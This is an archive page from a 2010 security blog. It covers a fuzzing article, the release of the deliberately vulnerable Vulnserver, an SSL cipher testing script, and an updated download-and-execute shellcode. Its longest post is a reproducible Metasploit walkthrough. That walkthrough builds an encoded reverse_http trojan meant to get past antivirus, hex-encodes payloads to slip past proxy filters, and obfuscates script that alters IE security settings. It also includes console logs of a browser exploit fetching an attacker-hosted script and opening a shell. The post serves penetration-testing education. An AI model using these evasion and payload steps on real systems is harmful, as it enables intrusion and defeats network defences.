Saturday, December 25, 2010

An Introduction to Fuzzing: Using SPIKE to find vulnerabilities in Vulnserver

I have written an article on how to use the SPIKE fuzzer to find vulnerabilities in Vulnserver, which you can read at the InfoSec Institute site.

Links are below.

Part 1: Introduction to Fuzzing
Part 2: Fuzzer Automation with SPIKE


You can download some of the scripts used in the article below:

Enjoy!

Wednesday, December 15, 2010

Introducing Vulnserver

Vulnserver

I have just released a program named Vulnserver - a Windows based threaded TCP server application that is designed to be exploited.


Why did I write this?

I am (slowly, and when not occupied with other things) teaching myself to program in C, and this seemed like a good way to further develop my C programming skills.  This gave me an opportunity to see how software is exploited from the developers point of view, and crafting this software so it was exploitable using particular exploit techniques was an interesting challenge, and enabled me to look at exploitation from a new perspective.  And as an added bonus, it gives me the opportunity to claim that any bugs found in my code were put there deliberately.

I often find myself in need of an exploitable program in order to quickly test out shellcode, as well as other exploit techniques I am developing.  This program is ideal for that purpose, because it is small, easily portable, and extremely easy to debug.

I enjoy writing about how to exploit software, but finding exploits that are good to write about can be challenging.  In order to make for a good tutorial style document, you need to find an exploit, ensure the exploitable software is available to be downloaded and used, and if you don't want to continually cover the same ground, the exploit has to require some sort of unique technique in order to make things interesting.  It’s a lot easier to achieve this if you just write the vulnerable software yourself.

I have always liked exploitation exercises, such as the Sourcefire awbos,  and have always wanted to try writing something like that myself.  One thing I never liked about those exercises though was having to send data to these applications via command line arguments.  It makes debugging, fuzzing and exploit writing awkward, and it seems very unlike the way most real life exploits actually operate (especially on Windows).  Therefore, I created vulnserver, but unlike the awbos I implemented it in the form of a threaded TCP server app so you can exploit with ease over the network - making this feel a bit more like a "real" vulnerable server application.


What’s included?

The download package includes the usual explanatory text files, source code for the application as well as pre compiled binaries for vulnserver.exe and its companion dll file.  Working exploits are not included (but keep reading...).


Running Vulnserver

To run vulnserver, make sure the companion dll file essfunc.dll is somewhere within the systems dll path (keeping it in the same directory as vulnserver.exe is usually sufficient), and simply open the vulnserver.exe executable.  The program will start listening by default on port 9999 - if you want to use another port just supply the port number as a command line option to the program - e.g. to listen on port 6666 run vulnserver.exe like so:

vulnserver.exe 6666

The program supports no other command line options.

The program will spit out its version number when you start it up, as well as the version number of its companion dll, so it's obvious what version you are running just in case I need to update it in future. Exploitation can be a finicky business, and changes to/recompilation of a program can change the buffer structure required to gain control of code execution, so I have made tried to make it as easy as possible to determine what version of the program and its associated dll you are running, so if you are following along with any guide you can ensure you have the same version of the application as used in the guide.  This is also something to be aware of if you want to compile the program yourself - different c compilers (even different versions of the same compiler) can produce binaries that exploit in different ways from the same code, and you will get a warning about this when you start the program too.

Once the program is running simply connect to the appropriate port using a command line client like netcat and issue commands separated by newlines.  Perhaps start with HELP to see what commands are available to you...


Finding the bugs in Vulnserver

Vulnserver contains a number of bugs (exactly how many I'm not going to reveal just yet), and each one of them requires a different approach in order to create a successful exploit.  The difficulty of the exploits range from easy to medium difficulty - and the challenge is to execute a bindshell payload for each exploitable bug you find.

If you are at all experienced in analysing C code for vulnerabilities you should be able to spot the bugs pretty quickly by reading the source, but I’d suggest you instead attempt to find the vulnerabilities using fuzzing.  The program will give up its buggy secrets very quickly in response to the right fuzzer, appropriately used.  Connect using a basic TCP client like netcat, ask for HELP to see what type of commands are supported to use as a basis for fuzzing, and go from there.

This program has been released without working exploits for the moment, but for all but one of the exploitable bugs introduced into the program I have produced working exploits, so be assured that exploitation in multiple ways is definitely possible.  The one remaining exploit I have not yet completed is delayed until I can fix some issues with a certain type of publically available shellcode, which "does not always work". 

In the coming weeks, I am going to release a series of articles on how to find and exploit all of the exploitable bugs in this program, so if you can't find the bugs yourself don't despair.

I have confirmed this program runs, and is exploitable on Windows XP SP 2, Windows Vista SP? and Windows 7 systems with default configurations.


Here there be dragons... a Warning about improper use of vulnserver.

Vulnserver doesn't actually do anything other than allow exploitation - there is no useful functionality.  Integrating code to perform some other function didn’t seem to be a good use of binary space or my time considering the purpose of the program.  There has been some effort put in to make it appear as though the program is taking user input and providing responses, so it seems like a regular (albeit very basic) server application, but there's really no reason to run this unless you're actively exploiting it at the time.

You SHOULD NOT run this program on any critical system, and you should not allow this program's listening port to be accessible from any untrusted network, such as the Internet.  There is no malicious code included within this program (check the source to confirm), so this is NOT a virus or malware, but this program can be put to malicious use if an untrusted individual can access it.  That's kind of unavoidable considering what the program was designed for.  So run this only on a well protected (possibly isolated) test system, and only when you are actively using it to test exploitation methods - don’t just leave it running all the time.

Remember that if vulnserver is running on your system, and you're not exploiting it, someone else might be.

Anyway, enjoy the program and drop me a line if you have tried it and like it.


Download

Link below.

Wednesday, November 10, 2010

Version 0.4 of SSL Testing Tool ssltest.pl

New version, fixing a bug with the list command and resolving an issue from Skoyern relating to SSLv2 compliance with PCI DSS.

Download below - this link will always point to the latest version:

Tuesday, November 9, 2010

Version 0.3 of SSL Testing Tool ssltest.pl

I have released a new version of ssltest.pl - version 0.3.  This new version has two changes from version 0.2:
  • The tool now checks to see that it can make a connection to the provided host and port before it performs all of its SSL tests.  This will allow you to differentiate a non listening socket or non working network connection from an SSL service that supports no ciphers (mostly there to remind you when you mistype the hostname/port or when the service is down).  Thanks to Gitsnik for suggesting this (months ago...).
  • The tool now implements some crude detection for sites that allow an SSL connection using weak ciphers exclusively to provide "friendly" advice to the end user to upgrade their browser.  In response to a comment from Anton here.  Basically, I make a simple HTTP 1.1 request over any SSL socket that gets established, check the response for a "401 Unauthorized" response, and treat as unsupported any associated ciphers.  Im reasonably sure that this response should not be generated when authentication is required to access the web resource (that should be "401 Authorization Required"), but just in case the tool will tell you when it considers one or more ciphers to be unsupported because of this reason, and it will give you instructions on how to get more information to confirm.  If this causes false negatives, let me know so I can resolve the issue.  This new feature can also be disabled using the -f switch if it causes problems - see the help for more information.

Download below - this link will always point to the latest version of the tool:

Thursday, October 21, 2010

Download and Execute Script Shellcode on Windows 7

I have just released a new version of my Download and Execute Script shellcode which now works on Windows 7.

Essentially, the previous method I was using to find the base address of kernel32 was not Windows 7 compatible, so I have now started using this method discovered by SkyLined.

Taking into account some other "efficient-ising" I did while I was making this change, this comes in at only (IIRC) 3 bytes larger than the original.

I haven't tested this on anything other than Windows 7 so far, but hopefully this should still work on Windows 2000 and up.  If you find otherwise, let me know.

See the original blog post on the shellcode here for more information on how to use it.

I still havent been bothered to enable EXITFUNC changing options in the Metasploit module, because I had no need to change this, but if anyone wants this functionality let me know and I will add it.

Download here:

These new versions replace the originals.

Sunday, August 22, 2010

Bypassing Restrictive Proxies Part 2, Modified Windows Shell via Metasploit PassiveX

Introduction

When I first posted my Download and Execute Script shellcode a few months back, I mentioned that I had used it to obtain a shell in a restrictive proxy environment, and that I would discuss the process in a future blog entry.  Well this blog entry has been a long time coming, mostly because I couldn't think of the right way to present the code that I used.  Since use of this method involves replacing some core Metasploit modules with modified versions, I was looking for some neater way of doing the integration required.

Well after a few months I still have not discovered that neat method, so I thought I would just post this here anyway, and use it as an example of how you can modify Metasploit to your own needs.


The problem with restrictive proxies, part two

In the Download and Execute Script Shellcode post, I discussed some of the problems that a restrictive proxy could pose when you were attempting to use it as transport device for your exploitation traffic. I mentioned some proxies had the ability to filter content based on patterns in the URL (such as file extensions) as well as based on the file signature of the downloaded content (which I mentioned could be used to block executables).  Now I am going to go into a bit more detail about how these, and other capabilities, can be used to interfere with exploitation.

As well as being able to be used to block files based on file extension, the ability for a proxy server to filter content based on the URL can be used in a number of other ways.  It can allow proxies to block content destined for particular hosts, to prevent connections to hosts by their IP address (as opposed to using a hostname), and to block content based on other strings in the pathname of the URL, which can be used to prevent the use of exploits that use predictable URL patterns.

The ability for proxy servers to filter content based on a file signature allows the blocking of executables, as I mentioned before, but it also allows the proxy server to block other files types like java applets and dynamic link libraries, which can be used to install new ActiveX objects. 

It can also allow the proxy server to block content that is considered to be of an unknown, or binary file type, which is essentially any content that is not text based and cannot be matched to any of the other known file types that the proxy server is aware of.  The way that the proxy server determines that a file is not text is by checking the percentage of bytes in the file that do not represent one of the configured character sets on the device (such as the ASCII character set), and if its over a particular threshold (sometimes configurable on the device) then the file is considered to be binary.  As we will see, this capability can cause problems for any exploitation method that requires transport of blobs of binary data.

Some other capabilities that restrictive proxies have that can cause problems are their ability to:
  • Detect content within files that can act as containers for other files, such as archives (.tar, .zip. .gz, .bz2, etc) and ole files (.doc, .xls, .ppt, etc).  These file types can be used to bypass filters via encapsulation, and looking within these file types can allow restrictive proxies to prevent this.
  • Perform expression searches within text-based files, which can allow certain types of script content to be blocked
  • Virus and spyware scan the contents of files, which can cause problems for obvious reasons.
  • Scan https sessions by acting as a man in the middle, preventing the attacker from using encryption as a means to bypass filtering
  • Allow access based on a white list of sites (where access is denied by default and allowed only to certain URLs), which can foil attacks if they are not served from an authorised location.  An interesting implementation of this can be seen in this piece of software.
  • Filter based on the contents of HTTP headers in the request or response (such as User-Agent, Mime-Type, etc), which can prevent attacks that are not properly formed.
  • Authenticate users, using a variety of different authentication methods, which can prevent attacks that cannot provide the correct authentication details.

Lets look at a specific example of how these capabilities can cause problems.

PassiveX, and its restrictive proxy problems

In Metasploit, the method by which command channels are tunneled via HTTP is the use of a PassiveX based payload.  These essentially make use of an ActiveX browser plugin, implemented in the passivex.dll file, which is installed into your victim systems Internet Explorer browser when the victim visits a special webpage hosted using Metasploit.  This browser plugin allows Internet Explorer to be used as a transport mechanism for traffic generated from some other Metasploit payload, such as a Windows shell, Meterpreter or VNC.  The fact that Internet Explorer is being used to transport the payload session means that the browsers proxy settings are automatically used, and if the proxy uses NTLM authentication and the browser is configured to support it, Integrated Windows Authentication will also be used to logon to the proxy.  It's all a very cool setup and if you want to read some more you can check here and here.

You can see all of the PassiveX payloads by grepping the output of msfpayloads for the string 'reverse_http '.  (Note the space after the http and before the end quote, otherwise you will also list reverse_https payloads)

lupin@lion:~$ msfpayload | grep 'reverse_http '
    windows/alphashell/reverse_http                  Tunnel communication over HTTP using IE 6, Spawn a piped command shell (staged)
    windows/dllinject/reverse_http                   Tunnel communication over HTTP using IE 6, Inject a Dll via a reflective loader
    windows/meterpreter/reverse_http                 Tunnel communication over HTTP using IE 6, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)
    windows/shell/reverse_http                       Tunnel communication over HTTP using IE 6, Spawn a piped command shell (staged)
    windows/upexec/reverse_http                      Tunnel communication over HTTP using IE 6, Uploads an executable and runs it (staged)
    windows/vncinject/reverse_http                   Tunnel communication over HTTP using IE 6, Inject a VNC Dll via a reflective loader (staged)

As you can see, theres a few to choose from, and if you're at all familiar with the output of the command, you may notice one extra in the list above.  Don't worry, I'll get to that shortly.

While the PassiveX plugin has many cool features to allow tunneling out of locked down networks, there are still some problems with they way that these payloads work that prevents them running through certain restrictive proxies. To understand what the problems are we have to go down into the weeds and look at how the reverse_http payloads actually operate.

An excellent way to achieve this is to exploit a system that has an intercepting proxy such as Burp configured in its proxy settings, and run a reverse_http payload through it.  This will show us exactly what communication occurs.

For the purposes of illustration, my victim host (192.168.56.101, Windows XP SP2, IE 6) is using the instance of Burp running on my attacking host as its proxy, and I have run the windows/browser/ms07_017_ani_loadimage_chunksize exploit with the windows/shell/reverse_http payload against it.  Burp is configured in non intercepting mode and the bind to loopback option is disabled.

Heres the screenshot of the proxy transaction history in Burp after I have successfully exploited the system, received a shell and run a command.  We can see that the traffic is all in the form of HTTP requests and responses, and there are quite a few of them.



Here is an explanation of what took place with regards to this traffic.

Requests 77 and 78

The client system accessed the malicious Metasploit website at http://192.168.20.18/, generating the request for the page located at "/" (request 77) which in turn resulted in a request for the malicious file at "/HXw..." (request 78).

Requests 79, 80 and 81

The malicious file exploited the ani file vulnerability and ran its payload, which caused the original instance of Internet Explorer on the victim system to close, and a new hidden instance of Internet Explorer to launch.  This new copy of Internet Explorer then accessed the address http://192.168.56.1:8000/metasploit (request 79).

Note: By default this URL would normally be a lot longer, however for the purpose of demonstration I set the PXURI value for the payload to /metasploit to make this and the next few requests easier to view.

The HTML content returned to the victim system in response to this request attempts to do two things.
  • The first thing it attempts to do is to activate the PassiveX ActiveX browser plugin.  Now the result from an attempt to load an ActiveX browser plugin in Internet Explorer depends on whether the corresponding code for the plugin is already installed on the system or not.  If the code is already installed, and the appropriate IE Security settings are configured, the plugin is simply loaded into the browser and it takes whatever action it is told to by the calling website.  If the code is NOT already installed, and the object tag that was used to initialise the object includes a codebase path to the appropriate dll containing this code, then the dll is downloaded, and if the appropriate security settings are in place, installed.  The problem here is that the default security settings for Internet Explorer 6 and 7 will allow already installed ActiveX objects to run, but they will NOT allow unsigned ActiveX objects (like PassiveX) to be installed.  If you attempt this little experiment yourself, at this point you might actually hear the little blip noise indicating that the object could not be installed. Request 80 in the screenshot shows the passivex.dll file being retrieved from the attacking system, but at this stage the attempt to install the plugin in the browser was denied. 
  • The second thing that this initial page attempts to do is to run a script that adds some registry settings that change the Internet Explorer Security settings to allow the PassiveX ActiveX object to be installed.  The script then opens a second hidden instance of Internet Explorer, and browses to http://192.168.56.1:8000/metasploit.  This second instance of Internet Explorer makes use of the new security settings that have been applied by the script, which allow the browser plugin to be installed.  Yes, you did read that correctly, you can create a webpage that will allow you to change Internet Explorers security settings, and you dont need to use an exploit to do it - it's inbuilt functionality.  In request 81, you can see a second attempt to download passivex.dll, and this time the browser plugin is installed and activated in the browser.  
 
Note: Administrative privileges are not required on the system in order to install an ActiveX object, although the registry keys that the current version of the PassiveX payload uses to modify the security settings in Internet Explorer DO usually require Administrative rights to modify.  There are other registry keys that can be modified by regular users that can achieve the same objective however, and one of the changes I made in my version of the PassiveX handler was to attempt use of these keys if the original keys could not be modified.

Request 82

After the PassiveX object is up and running in the browser it accesses the URL /metasploit/stage (request 82), which returns the second stage shellcode for the system to run.  In this example, when using the windows/shell/reverse_http payload, this is actually the shellcode to launch a windows shell.  If I had run the windows/meterpreter/reverse_http paylod, it would be Meterpreter shellcode.  You can see in the screenshot below that this response contains binary data - it's a raw copy of the shellcode.



Requests 83 and up

The rest of the tunnel_in and tunnel_out requests and responses (numbers 83 and onwards) actually contain commands and responses sent to the shell.  You can probably recognise whats going on in this request in the screenshot below - its the text from a Windows command shell.  If you were using the meterpreter payload instead, you would actually see meterpreter data folowing back and forth over this channel.


The Problems...

Given this detail of how the PassiveX payload works, we can now begin to see where the problems with running this through a restrictive proxy start to arise.

A restrictive proxy could cause problems in the following areas:
  1. The initial page requested by the PassiveX payload, which attempts to load the PassiveX plugin (request 79) contains script commands that can be detected by a word filter.
  2. The passivex.dll file (requests 80 and 81) can be detected and blocked by either its file contents or its file extension (which cannot be renamed from .dll, as it will prevent Internet Explorer from properly installing the object).
  3. The second stage shellcode retrieved from the /stage URL (request 82) can be blocked based on its content (it is binary data) or based on its URL (while the base URL can be changed via the PXURI, the URLs */stage, */tunnel_in and */tunnel_out seem to be hardcoded into the PassiveX code).
  4. The tunnel_in and tunnel_out requests or responses (83 onwards) can be blocked by their content (if they contain binary data) or by their URL.

The particular restrictive proxy I was dealing with was causing problems in almost all of these areas, with the exception of URL blocking of the /stage, /tunnel_in and /tunnel_out pages (although blocking of the content of these pages was working).  The blocking of any of these requests also causes the entire exploit to fail, so it's important to ensure all HTTP requests generated by PassiveX are successfully transmitted to allow this to work.

Working around the PassiveX Restrictive Proxy Problems

It turns out the issues mentioned above can be worked around by making the following changes:
  1. Obfuscating the JavaScript code used to change the IE Security settings (request 79) - essentially just by Hex encoding it and running it using an eval statement.  I also had to make some changes to this code to allow it to run for non admin users, as these users may not be able to write to the particular registry keys used.  This actually involved modifying the passivex.rb handler file, usually found in /lib/msf/core/handler/ under the Metasploit install directory. 
  2. Installation of the passivex.dll ActiveX code (requests 80 and 81) via a local webserver, to prevent the dll file from having to be downloaded in an unencoded form through the restrictive proxy.  More details below. 
  3. Performing alphanumeric encoding of the second stage shellcode (request 82), to make it look like text instead of binary data.  I basically just piped the second stage shellcode through the x86/alpha_mixed encoder using msfencode, then took the output and pasted it into a copy of the /opt/metasploit3/msf3/modules/payloads/stages/windows/shell.rb file.  This results in a new "stage" payload /opt/metasploit3/msf3/modules/payloads/stages/windows/alphashell.rb 
  4. Using a Windows shell as opposed to a Meterpreter shell ensures that the data sent back and forth via http (requests 83 onwards) is in plain text format.  These plain text messages will be allowed through the proxy, as opposed to binary data which will get blocked.  This issue with binary content being blocked means you need to be careful not to issue any commands that might echo binary data to the console (e.g. using the 'type' command on a binary file), otherwise the request will get blocked by the proxy and the shell will die.  This prohibition of binary content will also prevent other payload types, such as Meterpreter or VNC, from being used, although this could be supported in future by modifying the PassiveX code to transport data using some sort of text based encoding (e.g. base64 or hex).

Here is an overview of a high level exploitation process that can be used to integrate these changes:
  1. The victim system opens a malicious file which has a payload of my Download and Execute Script shellcode configured to run a script from a webserver under my control.
  2. The script downloads hex encoded copies of a Metasploit windows/alphashell/reverse_http trojan, the passivex.dll, and a mini, single executable webserver named Mongoose from my webserver, decodes them and writes them to disk.  It then sets the IE security settings appropriately, starts the Mongoose server listening on the loopback address, installs the PassiveX ActiveX object via loading it from the Mongoose website, kills all processes it just started and deletes all unneeded files, and starts the Metasploit trojan.
  3. Since the PassiveX object is already installed, the hidden copy of Internet Explorer that the trojan opens is able to directly initialise the PassiveX object, which will then download it's first stage alphashell payload, which goes right past the restrictive proxy server.  The shell is then started on the victim system, and the input and output channels of the shell will start flowing over the HTTP session established by the PassiveX object.

Heres some instructions on how you can reproduce this:

Download this archive, and extract its contents to disk. Copy alphashell.rb to the /modules/payloads/stages/windows/ folder in your Metasploit 3 install directory (probably under /opt/metasploit3/msf3/ on Linux).  Make a backup copy of passivex.rb from the /lib/msf/core/handler/ directory in your Metasploit install and copy passivex.rb there.  Copy stage1.tmp (which is the VBScript wrapper that you will execute with the Download and Execute Script shellcode) to the root of your webserver directory.

Create a windows/alphashell/reverse_http trojan.  An example commandline is below, PXHOST needs to be set to the value of your own system, and you may also want to change PXURI to something unique as well, but dont leave it at the default value, because the same PXURI value must be used for your trojan here and the handler you setup later.  If you're paying attention you may also notice that there is a new option below called PXNATHOST, which I essentially added to allow my attacking system to sit on the other end of a NAT translation - set this to your public IP address if you're attacking over NAT.  I have done a three pass encode using msfencode - you can do more if you have AV detection issues.

lupin@lion:~$ msfpayload windows/alphashell/reverse_http PXHOST=192.168.56.1 PXURI=/metasploit PXNATHOST=192.168.56.1 R | msfencode -c 3 -a x86 -t exe -o revhttptrojan.exe
[*] x86/shikata_ga_nai succeeded with size 485 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 512 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 539 (iteration=3)

Use escapeencoder to encode copies of passivex.dll (/data/passivex/passivex.dll in your Metasploit dir), your trojan and a copy of the Mongoose http server.  The encoded files should be placed in your webserver document path and given names and paths matching those specified in stage1.tmp, which by default are stored in the web server document root and named passivex.txt, revhttpshell.txt and mongoose.txt.  If you change the names or paths, change the appropriate lines in stage1.tmp.  In case you are wondering, the point of encoding these files is so that they can be downloaded via the restrictive proxy server - bypassing any file content checking.

root@lion:/var/www# ~/bin/escapeencoder.pl /opt/metasploit3/msf3/data/passivex/passivex.dll > passivex.txt
root@lion:/var/www# ~/bin/escapeencoder.pl ~/Downloads/mongoose-2.8.exe >mongoose.txt 
root@lion:/var/www# ~/bin/escapeencoder.pl ~/revhttptrojan.exe > revhttpshell.txt

Modify the vBaseWebserver variable in stage1.tmp to specify the address of your webserver where you will be hosting the stage1.tmp file as well as the files you encoded in the previous step.  In my case its on my attacking webserver located at http://192.168.56.1/.  Make sure your webserver is running at this point.

Grab the Download and Execute Script shellcode Metasploit module and throw it into /modules/payloads/singles/windows/ in your Metasploit install directory.  Generate an exploit making use of this payload and distribute it to your victim system.  I will use ms07_017_ani_loadimage_chunksize just for the purpose of demonstration, and I'll run it from port 90 so it wont interfere with my web server already running on port 80.  You can use this with any exploit you like, including one you create yourself, the important point obviously being that the victim machine must be vulnerable.  Some more examples of using the Download and Execute Script shellcode are located here if you need them.

Here are the options I used  to configure the ms07_017_ani_loadimage_chunksize exploit.  Note that the URL variable for the Download and Execute Script payload is set to the location of the stage1.tmp script on my webserver http://192.168.56.1/stage1.tmp.  The exploit runs as a background job allowing me to then perform some other tasks in the Metasploit console.

msf exploit(ms07_017_ani_loadimage_chunksize) > use windows/browser/ms07_017_ani_loadimage_chunksize
msf exploit(ms07_017_ani_loadimage_chunksize) > set payload windows/download_exec_script
payload => windows/download_exec_script
msf exploit(ms07_017_ani_loadimage_chunksize) > set URL http://192.168.56.1/stage1.tmp
URL => http://192.168.56.1/stage1.tmp
msf exploit(ms07_017_ani_loadimage_chunksize) > set SRVPORT 90
SRVPORT => 90
msf exploit(ms07_017_ani_loadimage_chunksize) > exploit
[*] Exploit running as background job.

[*] Using URL: http://0.0.0.0:90/
[*]  Local IP: http://192.168.20.18:90/
[*] Server started.

Note:  In the above output, the server for the ani_loadimage_chunksize has bound to the address of 192.168.20.18 - that is because my attacking machine is multi-homed and Metasploit is picking that particular interface to bind to.  The important point here is that my victim machine can access the Metasploit webserver at http://192.168.20.18:90/.

Start a handler in msfconsole.  Make sure you set the same options that you used for your trojan.

msf > use multi/handler
msf exploit(handler) > set payload windows/alphashell/reverse_http
payload => windows/alphashell/reverse_http
msf exploit(handler) > set PXURI /metasploit
PXURI => /metasploit
msf exploit(handler) > set PXHOST 192.168.56.1
PXHOST => 192.168.56.1
msf exploit(handler) > set PXNATHOST 192.168.56.1
PXNATHOST => 192.168.56.1
msf exploit(handler) > exploit

[*] PassiveX listener started.
[*] Starting the payload handler...

Now the victim host visits the malicious URL at http://192.168.20.18:90/, and we see the following appearing in the Metasploit console.

msf exploit(handler) > exploit

[*] PassiveX listener started.
[*] Starting the payload handler...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending HTML page to 192.168.20.18:33880...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.20.18:33881...
[*] Sending PassiveX main page to client
[*] Sending stage to sid 1 (541 bytes)
[*] Command shell session 5 opened (192.168.56.1:8000 -> 192.168.56.1:37766) at Sat Aug 21 22:40:54 +1000 2010
[*] Sending PassiveX main page to client
[*] Sending stage to sid 2 (541 bytes)
[*] Command shell session 6 opened (192.168.56.1:8000 -> 192.168.56.1:37772) at Sat Aug 21 22:40:55 +1000 2010

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Lupin\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 30F0-2767

 Directory of C:\Documents and Settings\Lupin\Desktop

21/08/2010  10:16 PM              .
21/08/2010  10:16 PM              ..
21/08/2010  10:40 PM            10,746 a.vbs
25/10/2009  10:19 PM               706 Easy File Sharing FTP Server.lnk
09/05/2010  08:05 PM               638 Frhed.lnk
10/05/2010  10:18 PM               694 MiniShare.lnk
30/08/2009  11:17 PM               666 OLLYDBG.lnk
               5 File(s)         13,450 bytes
               2 Dir(s)   2,699,186,176 bytes free

C:\Documents and Settings\Lupin\Desktop>

We have shell..


Other notes

Some other things you might want to be aware of with this:
  • This has involved replacing a core Metasploit file, so updates to Metasploit may result in this module being overwritten, and future updates may break my replacement module altogether.  The changes I have made to it are pretty simple however - I have simply replaced the script in the HTML content that is listed in the passivex.rb file with a slightly modified obfuscated version and added the PNATHOST input parameter.  If you read the code and see the changes I have made you should be able to reproduce them yourself if required.  I have written about code obfuscation here if you neeed more information about this.
  • This is not really intended to be release quality tested code, Im mainly just posting it to provide an example of how you can modify Metasploit to suit your own testing goals.  This also provides a reference on how the reverse_http payloads work, how restrictive proxies can cause problems with them, and how those problems can be worked around.  The fact that this code is not intended to be release quality basically means that you may have to put in some effort yourself to make it work, and you probably shouldn't expect any updates or bugfixes from me.
  • If the IE Settings on your system are lame enough to allow installation of the PassiveX ActiveX object without requring modification, you may end up with two copies of the PassiveX payload running.  This will result in your Metasploit console continually scrolling, showing repeating shell prompts.  Just quickly type 'exit' and hit enter to kill one of them.
  • If you're making multiple trial runs to test this you may want to uninstall the PassiveX ActiveX code, delete the files that the wrapper script creates in the %temp% directory, and remove the registry keys that are created to change IE security settings.  You can find the appropriate registry values and filenames by checking the code, and you can delete the ActiveX object from the "Downloaded Program Files" folder, probably located in your machines "Windows" directory.
  • The use of a mini webserver probably seems like a bit of an overly complicated method to install the passivex.dll file locally, when you can just load it from a local file path instead.  Well, I did try doing this, but even after chaning security settings in the hidden "My Computer" zone, and enabling options like "Allow active content to run in files on My Computer" I could not get this object installed without any "prompts" on XP SP2.  If you manage it, Id love to hear how you did it.
  • The PXNATHOST variable was added to my version of the passivex.rb handler because Metasploit requires that the value specified in PXHOST be assigned to a local interface before the handler will start.  This same value is also sent to the PassiveX browser plugin on the victim system to use in creating the tunnel.  This causes problems if your attacking system is behind a NAT gateway and you are using PAT to forward the traffic for the appropriate TCP port.  The addition of the PXNATHOST variable, and a modification of the HTML response that is sent to the initial reverse_http request allows you to specify your publically accessible IP address to be used in creating the PassiveX tunnel.
  • The alphashell payload won't allow you to change EXITFUNC options.

Thursday, August 12, 2010

Version 0.2 of SSL Testing Tool ssltest.pl

I have just released a new version (0.2) of ssltest.pl.

This newest set of changes to the tool still don't include some of the things on my future wishlist, as mentioned in the previous post,  but instead came about when I attempted to use the tool from a Windows system and found it didn't work so well.

The changes in version 0.2 were essentially focused on getting the same functionality from the tool when run in Windows, as when run from Linux, as well as fixing some little niggles I found when attempting to use greppable output after running the tool on a list of sites via a for loop.

Some detail on the changes made in version 0.2:
  • Windows support, including coloured output using Win32::Console::ANSI.
  • Helpful error messages provided for missing perl modules, telling you how to remediate the issue.  Not much of an issue on Linux really, as most of the required modules are installed by default, but during the process of adding Windows support I discovered that IO::Socket::SSL, Net::SSLeay and Win32::Console::ANSI are all not installed by default AND not available in the ActiveState perl repositories.  The error messages will point you in the right direction to remediate the issue on Windows.
  • Some text added to the help message about OpenSSL.  While testing the tool on Windows I discovered that the misbehaving SSL appliance that triggered me writing this tool in the first place also did not respond well to particular versions of OpenSSL, in this case because the SSLv3 Hello packet was using a slightly different format.  Basically I just wanted to raise awareness here that if the tool isn't working for you on a particular system, you may want to try a different version of OpenSSL.
  • The format of the grep-able output has been improved, to include all of the relevant data on each individual line of output, including the compliance status for individual ciphers, hostname and port, protocol (SSLv2, SSLv3, TLSv1), cipher name and cipher description.  Essentially this makes the tool easier to use on large numbers of hosts at once - you can test multiple sites from a script, write all the data to one file and then grep the output to find relevant data.
  • Some minor cosmetic adjustments.

Here's a screenshot of the tool running on Windows, in all its colourful glory.


Download it here (this link will always point to the latest version of the tool):

Tuesday, July 27, 2010

SSL Testing Tool ssltest.pl

Update: I have just updated this tool to version 0.1.1 to resolve a minor bug (thanks Gitsnik) and a few cosmetic issues.

I have used a number of different tools to check cipher support on SSL Servers, including SSLDigger, sslthing, CryptonarkOpenssl and even a few web based solutions.  Each tool has its good and bad points, but recently when trying to confirm that a particular badly behaved reverse proxy was compliant with DSD ISM crypto standards I ran into some problems.  The reverse proxy I was attempting to test was not correctly responding to or closing SSLv2 and TLSv1 sessions, causing a number of the tools that I commonly use to freeze up.

Cryptonark was able to run against the proxy without freezing up, due to its ability to timeout sessions, but it still wasn't providing the right results due to the fact that it only tests SSLv2 and TLSv1, but not SSLv3 - the only protocol that happened to work on this particular system.  The tool is written in Perl however, so I consequently decided to quickly modify it to test SSLv3 as well.

But what started off as a quick modification, soon turned into a complete rewrite, as I rapidly came up with a list of additional features I wanted in addition to the SSLv3 support - optional verbose output (such as listing unsupported ciphers, plus connection attempts), colour highlighting for DSD ISM compliance as well as PCI-DSS, control over timeout settings, the ability to individually test protocols, more detail in the explanatory text for each cipher, greppable compliance status for each cipher, etc.  I have essentially reused the essential design concepts of the Cryptonark tool (including colour coding output, use of IO::Socket::SSL to make SSL connections, documenting supported ciphers within the tool, checking supported ciphers against a compliance standard), but have completely rewritten the code from scratch to clean it up, reduce repetition and dependence on additional perl modules, and ease implementation of the new features.

So now the tool is complete, it includes all those additional features I wanted, and it works very nicely against that badly behaving reverse proxy that started this whole thing.

I have decided to make the tool available here, first of all so I can easily get to a copy when needed, and also just in case anyone else finds it useful.  Until I can think of something better, I'm releasing this under the imaginative name of ssltest.pl - so called because the tool is used to test ssl.

Here is a listing of the help:
lupin@lion:~$ ssltest.pl
ssltest 0.1.1
grey-corner.blogspot.com

Tests the provided SSL host to determine supported SSL protocols and ciphers.
Originally based on Cryptonark by Chris Mahns.

USAGE:

/home/lupin/bin/ssltest.pl [options] host port
/home/lupin/bin/ssltest.pl [--pci|--ssl2|--ssl3|--tls1] --list


OPTIONS:

        -v|--verbose    Verbosity level. Use once to also list tested
                        ciphers that are not enabled on the target host.
                        Use twice to also show when host connection
                        attempts are made.

        -r|--ssl2       Performs cipher tests for the sslv2 protocol.
                        Default is all protocols (ssl2, ssl3, tls1).

        -s|--ssl3       Performs cipher tests for the sslv3 protocol.
                        Default is all protocols (ssl2, ssl3, tls1).

        -t|--tls1       Performs cipher tests for the tlsv1 protocol.
                        Default is all protocols (ssl2, ssl3, tls1).

        -x|--timeout    Sets timeout value in seconds for connections.
                        Default 4.  Lower value for hosts that may not
                        properly close connections when an unsupported
                        protocol request is attempted.  Raise value for
                        slow links/hosts.

        -i|--ism        Marks enabled ciphers that are compliant with the
                        DSD ISMs standards for in-transit protection of
                        IN-CONFIDENCE information (ISM Sep 2009).  Default
                        compliance standard used (as opposed to PCI).

        -p|--pci        Marks enabled ciphers that are compliant with
                        PCI-DSS standards.  Provided as an alternate
                        compliance standard to the DSD ISM.

        -g|--grep       Outputs in a semicolon ";" separated greppable
                        format, adds text for compliance status.  Use
                        when you need to write output to a text file and
                        you want compliance status to be included in
                        text format instead of just being repressnted by
                        terminal colour.

